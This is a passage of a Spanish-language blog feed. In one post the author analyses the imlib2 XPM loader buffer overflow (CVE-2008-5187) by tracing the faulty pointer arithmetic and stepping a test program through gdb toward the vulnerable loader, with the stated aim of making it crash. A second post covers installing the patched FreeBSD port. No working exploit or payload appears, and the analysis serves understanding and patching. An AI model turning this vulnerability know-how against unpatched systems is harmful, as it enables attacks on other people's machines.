ptr + (sizeof(DATA32) * w * h);&lt;br&gt;252a252&lt;br&gt;&amp;gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;end = ptr + pixels;&lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Al parecer solo la variable end, es la que nos ocaciona el desbordamiento, al utilizarla en otra parte del codigo.&lt;br&gt;&lt;br&gt;Lo que pasa es que end, es un apuntador al final, sin embargo:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;(sizeof(DATA32) * w * h)&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;Esto da algo mayor a&amp;nbsp; solo&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;pixels = w * h;&lt;br&gt;end = ptr + pixels;&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;El punto esta en que la cifra se hace 4 veces mas grande:&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;/* standard headers */&lt;br&gt;#include &amp;lt;X11/Xlib.h&amp;gt;&lt;br&gt;#include &amp;lt;Imlib2.h&amp;gt;&lt;br&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;int main()&amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf("Tamaño de DATA32: %d bytes\n",sizeof(DATA32));&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;br&gt;}&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%./imlibtest&lt;br&gt;Tamaño de DATA32: 4 bytes&lt;br&gt;&lt;/div&gt;&lt;br&gt;&lt;b&gt;Tamaño de DATA32: 4 bytes&lt;/b&gt;&lt;br&gt;&lt;br&gt;Como podemos ver estaba multiplicando el espacio por 4&lt;br&gt;&lt;br&gt;Las variables pixels,w,h son enteros.&lt;br&gt;ptr y end son apuntadores a DATA32&lt;br&gt;im es un apuntador a ImlibImage, el cual es pasao como parametro directamente a la funcion.&lt;br&gt;&lt;br&gt;&lt;br&gt;Bien ahora probaremos el programa, transformando una Imagen xmp a png xD.&lt;br&gt;&lt;br&gt;Este ejemplo lo tome de la documentacion de imlib2&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;/* standard headers */&lt;br&gt;#include &amp;lt;X11/Xlib.h&amp;gt;&lt;br&gt;#include &amp;lt;Imlib2.h&amp;gt;&lt;br&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;#include &amp;lt;string.h&amp;gt;&lt;br&gt;&lt;br&gt;/* main program */&lt;br&gt;int main(int argc, char **argv)&lt;br&gt;{&lt;br&gt;&amp;nbsp; /* an image handle */&lt;br&gt;&amp;nbsp; Imlib_Image image;&lt;br&gt;&amp;nbsp; &lt;br&gt;&amp;nbsp; /* if we provided &amp;lt; 2 arguments after the command - exit */&lt;br&gt;&amp;nbsp; if (argc != 3) exit(1);&lt;br&gt;&amp;nbsp; /* load the image */&lt;br&gt;&amp;nbsp; image = imlib_load_image(argv[1]);&lt;br&gt;&amp;nbsp; /* if the load was successful */&lt;br&gt;&amp;nbsp; if (image)&lt;br&gt;&amp;nbsp; &amp;nbsp; {&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; char *tmp;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; /* set the image we loaded as the current context image to work on */&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; imlib_context_set_image(image);&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; /* set the image format to be the format of the extension of our last */&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; /* argument - i.e. .png = png, .tif = tiff etc. */&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; tmp = strrchr(argv[2], '.');&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; if(tmp)&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;imlib_image_set_format(tmp + 1);&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; /* save the image */&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; imlib_save_image(argv[2]);&lt;br&gt;&amp;nbsp; &amp;nbsp; }&lt;br&gt;}&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;Now to compile this&lt;br&gt;cc imlib2_convert.c -o imlib2_convert `imlib2-config --cflags` `imlib2-config --libs`&lt;br&gt;You now have a program that if used as follows:&lt;br&gt;./imlib2_convert image1.jpg image2.png&lt;br&gt;&lt;/div&gt;&lt;br&gt;Compilando:&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%cc imlib2_convert.c -o imlib2_convert `imlib2-config --cflags` `imlib2-config --libs`&lt;br&gt;imlib2_convert.c: In function 'main':&lt;br&gt;imlib2_convert.c:14: warning: incompatible implicit declaration of built-in function 'exit'&lt;br&gt;&lt;/div&gt;&lt;br&gt;Bueno es un warning pero a mi no me gusta que eso aparezca, le agrego el &lt;b&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;/b&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;Creado la prueba obtenemos que si transforma la imagen a un png, Segun la documentacion puede transformar de culquier extensión a cualqueir extensión!!&lt;br&gt;&lt;br&gt;Ahora esto solo es una prueba del funcionamiento, ya que obviamente se mando a llamar a la funcion vulnerable sin embargo se cargo con buenos datos.&lt;br&gt;&lt;br&gt;Vamos a ver como es que se puede hacer caer esto, Segun el advisor Original la falla fue encontrada con una imagen de 32 * 32 pixeles sin embargo como no se da mas informacion, no nos queda mas que depurar, para esto va a ser necesario modificar el make file de los ports en mi caso FreeBSD, en algunos otros casos va a ser necesario modificar el .configure o diferentes.&lt;br&gt;&lt;br&gt;Bien, antes de depurar las librerias, vamos a depurar la pequeña aplicacion que compilamos.&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%cc -ggdb imlib2_convert.c -o imlib2_convert `imlib2-config --cflags` `imlib2-config --libs`&lt;br&gt;%cc -ggdb -static imlib2_convert.c -o imlib2_convert `imlib2-config --cflags` `imlib2-config --libs`&lt;br&gt;/usr/local/lib/libX11.a(ConnDis.o)(.text+0x9e8): In function `_X11TransConnectDisplay':&lt;br&gt;: undefined reference to `XauDisposeAuth'&lt;br&gt;/usr/local/lib/libX11.a(ConnDis.o)(.text+0xcbf): In function `_X11TransConnectDisplay':&lt;br&gt;: undefined reference to `XauGetBestAuthByAddr'&lt;br&gt;/usr/local/lib/libX11.a(ConnDis.o)(.text+0xf1a): In function `_X11TransConnectDisplay':&lt;br&gt;: undefined reference to `XdmcpWrap'&lt;br&gt;&lt;/div&gt;Me marca erros al querer incluirlo estaticamente, tendre que probarlo normal solo con -ggdb y vemos que pasa&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%gdb ./imlib2_convert&lt;br&gt;GNU gdb 6.1.1 [FreeBSD]&lt;br&gt;....&lt;br&gt;This GDB was configured as "i386-marcel-freebsd"...&lt;br&gt;(gdb) list&lt;br&gt;1&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* standard headers */&lt;br&gt;2&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;X11/Xlib.h&amp;gt;&lt;br&gt;3&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;Imlib2.h&amp;gt;&lt;br&gt;4&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;5&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;string.h&amp;gt;&lt;br&gt;6&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;stdlib.h&amp;gt;&lt;br&gt;7&lt;br&gt;8&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* main program */&lt;br&gt;9&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int main(int argc, char **argv)&lt;br&gt;10&amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br&gt;(gdb) break main&lt;br&gt;Breakpoint 1 at 0x80486c0: file imlib2_convert.c, line 10.&lt;br&gt;(gdb) run ./prueba.xpm ./prueba.png&lt;br&gt;Starting program: /usr/home/Anon/imlib2_convert ./prueba.xpm ./prueba.png&lt;br&gt;&lt;br&gt;Breakpoint 1, main (argc=Error accessing memory address 0x0: Bad address.&lt;br&gt;) at imlib2_convert.c:10&lt;br&gt;10&amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br&gt;(gdb) step&lt;br&gt;main (argc=3, argv=0xbfbfec9c) at imlib2_convert.c:15&lt;br&gt;15&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (argc != 3) exit(1);&lt;br&gt;(gdb) step&lt;br&gt;17&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; image = imlib_load_image(argv[1]);&lt;br&gt;(gdb) step&lt;br&gt;19&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (image)&lt;br&gt;(gdb) step&lt;br&gt;23&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; imlib_context_set_image(image);&lt;br&gt;(gdb)&lt;br&gt;26&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tmp = strrchr(argv[2], '.');&lt;br&gt;(gdb)&lt;br&gt;27&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf("extensión: %s\n",tmp);&lt;br&gt;(gdb)&lt;br&gt;extensión: .png&lt;br&gt;28&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(tmp)&lt;br&gt;(gdb)&lt;br&gt;29&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;imlib_image_set_format(tmp + 1);&lt;br&gt;(gdb)&lt;br&gt;31&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; imlib_save_image(argv[2]);&lt;br&gt;(gdb)&lt;br&gt;36&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br&gt;(gdb)&lt;br&gt;0x08048649 in _start ()&lt;br&gt;(gdb)&lt;br&gt;Single stepping until exit from function _start,&lt;br&gt;which has no line number information.&lt;br&gt;&lt;br&gt;Program exited with code 0200.&lt;br&gt;(gdb) quit&lt;/div&gt;&lt;br&gt;&lt;br&gt;Bueno no entro a la funcion deseada debido al funcionamiento de step, pero igual tratemos de nuevo&lt;br&gt;&lt;br&gt;:S la cosa se complica, vere a donde llego con esto y si veo que de plano es muy complicado, agrego la informacion de las librerias imlib2&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;(gdb) disas imlib_load_image&lt;br&gt;Dump of assembler code for function imlib_load_image:&lt;br&gt;0x2808cbe0 &amp;lt;imlib_load_image+0&amp;gt;:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push&amp;nbsp; &amp;nbsp;%ebp&lt;br&gt;0x2808cbe1 &amp;lt;imlib_load_image+1&amp;gt;:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov&amp;nbsp; &amp;nbsp; %esp,%ebp&lt;br&gt;.....&lt;br&gt;&lt;b&gt;0x2808cc3e &amp;lt;imlib_load_image+94&amp;gt;:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp;0x280a1190 &amp;lt;__imlib_LoadImage&amp;gt;&lt;/b&gt;&lt;br&gt;....&lt;br&gt;0x2808cc56 &amp;lt;imlib_load_image+118&amp;gt;:&amp;nbsp; &amp;nbsp; &amp;nbsp; mov&amp;nbsp; &amp;nbsp; 0xfffffffc(%ebp),%edi&lt;br&gt;0x2808cc59 &amp;lt;imlib_load_image+121&amp;gt;:&amp;nbsp; &amp;nbsp; &amp;nbsp; mov&amp;nbsp; &amp;nbsp; %ebp,%esp&lt;br&gt;0x2808cc5b &amp;lt;imlib_load_image+123&amp;gt;:&amp;nbsp; &amp;nbsp; &amp;nbsp; pop&amp;nbsp; &amp;nbsp; %ebp&lt;br&gt;0x2808cc5c &amp;lt;imlib_load_image+124&amp;gt;:&amp;nbsp; &amp;nbsp; &amp;nbsp; ret&lt;br&gt;....&lt;br&gt;End of assembler dump.&lt;br&gt;&lt;/div&gt;&lt;br&gt;Interesante: &lt;b&gt;__imlib_LoadImage&lt;/b&gt;&lt;br&gt;&lt;br&gt;Existe esta subfuncion que carga la imagen.. pero ya la vi y son como 1000 Lineas de ensamblador xD asi que mejor no.&lt;br&gt;&lt;br&gt;Bien, compilado todo con opciones -ggdb tanto el programa de ejemplo como la libreria imlib2&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%cc -ggdb -static imlib2_convert.c -o imlib2_convert `imlib2-config --cflags` `imlib2-config --libs`&lt;br&gt;%gdb ./imlib2_convert&amp;gt;&lt;br&gt;&lt;br&gt;GNU gdb 6.1.1 [FreeBSD]&lt;br&gt;Copyright 2004 Free Software Foundation, Inc.&lt;br&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br&gt;Type "show copying" to see the conditions.&lt;br&gt;There is absolutely no warranty for GDB.&amp;nbsp; Type "show warranty" for details.&lt;br&gt;This GDB was configured as "i386-marcel-freebsd"...&lt;br&gt;(gdb) list&lt;br&gt;1&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* standard headers */&lt;br&gt;2&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;X11/Xlib.h&amp;gt;&lt;br&gt;3&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;Imlib2.h&amp;gt;&lt;br&gt;4&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;stdio.h&amp;gt;&lt;br&gt;5&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;string.h&amp;gt;&lt;br&gt;6&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#include &amp;lt;stdlib.h&amp;gt;&lt;br&gt;7&lt;br&gt;8&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* main program */&lt;br&gt;9&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int main(int argc, char **argv)&lt;br&gt;10&amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br&gt;(gdb)&lt;br&gt;11&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* an image handle */&lt;br&gt;12&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Imlib_Image image;&lt;br&gt;13&lt;br&gt;14&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* if we provided &amp;lt; 2 arguments after the command - exit */&lt;br&gt;15&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (argc != 3) exit(1);&lt;br&gt;16&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* load the image */&lt;br&gt;17&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; image = imlib_load_image(argv[1]);&lt;br&gt;18&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* if the load was successful */&lt;br&gt;19&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (image)&lt;br&gt;20&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br&gt;(gdb) break 13&lt;br&gt;Breakpoint 1 at 0x8048224: file imlib2_convert.c, line 13.&lt;br&gt;(gdb) run ./prueba.xpm ./prueba.png&lt;br&gt;Starting program: /usr/home/Anon/imlib2_convert ./prueba.xpm ./prueba.png&lt;br&gt;&lt;br&gt;Breakpoint 1, main (argc=3, argv=0xbfbfec9c) at imlib2_convert.c:15&lt;br&gt;15&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (argc != 3) exit(1);&lt;br&gt;(gdb) step&lt;br&gt;17&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; image = imlib_load_image(argv[1]);&lt;br&gt;(gdb) step&lt;br&gt;imlib_load_image (file=0xbfbfedaa "./prueba.xpm") at api.c:1166&lt;br&gt;1166&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;CHECK_CONTEXT(ctx);&lt;br&gt;(gdb) step&lt;br&gt;1162&amp;nbsp; &amp;nbsp; {&lt;br&gt;(gdb)&lt;br&gt;1166&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;CHECK_CONTEXT(ctx);&lt;br&gt;(gdb)&lt;br&gt;_imlib_context_get () at api.c:217&lt;br&gt;217&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context = imlib_context_new();&lt;br&gt;&lt;/div&gt;&lt;br&gt;Detengo un poco a la ejecucion para buscar api.c y ver quien es la variable ctx, despues de indagar en todo api.c no veo donde define ctx pero puedeo inferir que se trata de un apuntador a Imlib_Image&lt;br&gt;Siguiendo con la depuracion vemos hasta donde llega, &lt;i&gt;ahorita solo me interesa saber si el ejemplo que estamos usando, llega a llamar a la funcion load del archivo loader_xpm.c y si esto es asi sabremos&lt;br&gt;que vamos por buen camino &lt;img src="http://foro.elhacker.net/Smileys/chef/cheesy.gif" alt=":D" border="0"&gt;&lt;/i&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;(gdb) step&lt;br&gt;imlib_context_new () at api.c:171&lt;br&gt;171&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ImlibContext&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*context = malloc(sizeof(ImlibContext));&lt;br&gt;(gdb)&lt;br&gt;181&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context-&amp;gt;anti_alias = 1;&lt;br&gt;(gdb)&lt;br&gt;182&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context-&amp;gt;dither = 0;&lt;br&gt;(gdb)&lt;br&gt;183&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context-&amp;gt;blend = 1;&lt;br&gt;(gdb)&lt;br&gt;184&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context-&amp;gt;color_modifier = NULL;&lt;br&gt;(gdb)&lt;br&gt;&lt;/div&gt;185&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context-&amp;gt;operation = IMLIB_OP_COPY;&lt;br&gt;&lt;br&gt;Cientos de Instrucciones mas y al parecer es, pero creo que no se parace la funcion pero esta pertecene al archivo &lt;b&gt;image.c&lt;/b&gt; y la que buscamos es del &lt;span style="color: blue;"&gt;&lt;b&gt;loader_xpm.c&lt;/b&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;(gdb)&lt;br&gt;&lt;b&gt;__imlib_LoadImage (file=0xbfbfedaa "./prueba.xpm", progress=0, progress_granularity=0 '\0', immediate_load=0 '\0',&lt;br&gt;&amp;nbsp; &amp;nbsp; dont_cache=0 '\0', er=0x0) at image.c:979&lt;br&gt;&lt;/b&gt;979&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ((im) &amp;amp;&amp;amp; (IMAGE_IS_VALID(im)))&lt;br&gt;(gdb)&lt;br&gt;975&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; im = __imlib_FindCachedImage(file);&lt;br&gt;(gdb)&lt;br&gt;979&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ((im) &amp;amp;&amp;amp; (IMAGE_IS_VALID(im)))&lt;/div&gt;&lt;br&gt;Despues de unas 2000 Instrucciones queda solo una salida Inesperada&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;(gdb)&lt;br&gt;320&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; free(l);&lt;br&gt;(gdb)&lt;br&gt;322&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br&gt;(gdb)&lt;b&gt;&lt;br&gt;__imlib_FileFreeDirList (l=0xbfbfeba8, num=Variable "num" is not available.&lt;br&gt;) at file.c:320&lt;br&gt;320&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; free(l);&lt;br&gt;(gdb)&lt;br&gt;Error&lt;br&gt;&lt;br&gt;Program exited with code 012.&lt;/b&gt;&lt;/div&gt;&lt;br&gt;Jaja que cosas pasan xD ya se voy a editar el archivo loader_xpm.c para en caso de que si se mande a llamar Solo mando un "OK loader &lt;img src="http://foro.elhacker.net/Smileys/chef/smiley.gif" alt=":)" border="0"&gt;\n"&lt;br&gt;&lt;br&gt;Depues de realizar la modificacion xD,vi que no dunciono, o no lo carga el moduo vulnerable:&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;%cc -ggdb -static imlib2_convert.c -o imlib2_convert `imlib2-config --cflags` `imlib2-config --libs`&lt;br&gt;%./imlib2_convert ./prueba.xpm ./prueba.png&lt;br&gt;Error&lt;br&gt;%cc imlib2_convert.c -o imlib2_convert `imlib2-config --cflags` `imlib2-config --libs`&lt;br&gt;%./imlib2_convert ./prueba.xpm ./prueba.png&lt;br&gt;extensión: .png&lt;br&gt;&lt;/div&gt;&lt;br&gt;No se por que pero si lo compilo con los argumentos -ggdb -static simplemente no lo hace y se le compilo normal si hace lo pedido.&lt;br&gt;&lt;br&gt;Entonces tendre que mandarle yo mismo el archivo, asi sirve que no paso por tanto filtros. Sin embargo eso sera otro dia.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8208139729542424730?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8208139729542424730/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8208139729542424730' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8208139729542424730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8208139729542424730'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/12/analisis-de-un-bug-imlib2-library-load.html' title='Analisis de un Bug: &apos;imlib2&apos; Library &apos;load()&apos; CVE-2008-5187'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-311271094548311980</id><published>2008-12-03T12:31:00.001-06:00</published><updated>2008-12-03T12:33:41.544-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='Imlib2'/><category scheme='http://www.blogger.com/atom/ns#' term='Solucion'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2008-5187'/><category scheme='http://www.blogger.com/atom/ns#' term='enlightenment'/><title type='text'>FreeBSD: Problema con imlib2-1.4.1.000 (Solucion)</title><content type='html'>Bien, instalando enlightenment, me sale el error de la dependia antes mencionada,&amp;nbsp; imlib2-1.4.1.000, esto desde los ports&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;# cd /usr/ports/graphics/imlib2&lt;br&gt;# make&lt;br&gt;===&amp;gt;&amp;nbsp; imlib2-1.4.1.000,2 has known vulnerabilities:&lt;br&gt;=&amp;gt; imlib2 -- XPM processing buffer overflow vulnerability.&lt;br&gt;&amp;nbsp; &amp;nbsp;Reference: &amp;lt;http://www.FreeBSD.org/ports/portaudit/910486d5-ba4d-11dd-8f23-0019666436c2.html&amp;gt;&lt;br&gt;=&amp;gt; Please update your ports tree and try again.&lt;br&gt;*** Error code 1&lt;br&gt;&lt;br&gt;Stop in /usr/ports/graphics/imlib2.&lt;br&gt;*** Error code 1&lt;br&gt;&lt;br&gt;Stop in /usr/ports/graphics/imlib2.&lt;/div&gt;&lt;br&gt;Version del sistema:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;# uname -a&lt;br&gt;FreeBSD&amp;nbsp; 7.0-RELEASE FreeBSD 7.0-RELEASE #2: Mon Nov 24 09:02:58 UTC 2008&amp;nbsp; &amp;nbsp; &amp;nbsp;root@:/usr/src/sys/i386/compile/VGN-N350&amp;nbsp; i386&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;Ahora El problema no es que no la pueda instalar, dice que es un problema de seguridad:&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;imlib2 -- XPM processing buffer overflow vulnerability.&lt;br&gt;&amp;nbsp; &amp;nbsp;Reference: &amp;lt;http://www.FreeBSD.org/ports/portaudit/910486d5-ba4d-11dd-8f23-0019666436c2.html&amp;gt;&lt;/div&gt;&lt;br&gt;Si me voy a la pagina de los ports, vemos que ya esta actualizado el make file&lt;br&gt;&lt;br&gt;&lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/ports/graphics/imlib2/" target="_blank" class="posted"&gt;http://www.freebsd.org/cgi/cvsweb.cgi/ports/graphics/imlib2/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;- Fix a buffer overflow vulnerability in imlib2. PR: ports/129037 Submitted by...&lt;/div&gt;&lt;br&gt;&lt;br&gt;La informacion acerca del bug esta en&lt;br&gt;&lt;br&gt;&lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505714" target="_blank" class="posted"&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505714&lt;/a&gt;&lt;br&gt;&lt;a href="http://www.freebsd.org/cgi/query-pr.cgi?pr=129037" target="_blank" class="posted"&gt;http://www.freebsd.org/cgi/query-pr.cgi?pr=129037&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Aqui muestrare como instalar correctamente Imlib2 desde los pors de FreeBSD.&lt;br&gt;&lt;br&gt;En otro post se agrergara como Testear la Vulnerabilidad.&lt;br&gt;&lt;br&gt;Primero hare una copia de seguridad del Directorio imlib2 dentro de /usr/ports/graphics/&lt;br&gt;&lt;br&gt;Nota que esto yo lo realizo para posterior analisis.&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;# tar cf imlib2.tar imlib2/&lt;br&gt;# bzip2 -k9 imlib2.tar&lt;br&gt;# rm imlib2.tar&lt;br&gt;# ls -Gla imlib*.*&lt;br&gt;-rw-r--r--&amp;nbsp; 1 root&amp;nbsp; 100&amp;nbsp; &amp;nbsp;2360 Dec&amp;nbsp; 3 11:06 imlib2.tar.bz2&lt;br&gt;&lt;/div&gt;&lt;br&gt;Aqui debemos borrar el directorio imlib2&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;#rm -r imlib2/&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;Descargamos el Tarball del directorio del port de&lt;br&gt;&lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/ports/graphics/imlib2/imlib2.tar.gz?tarball=1" target="_blank" 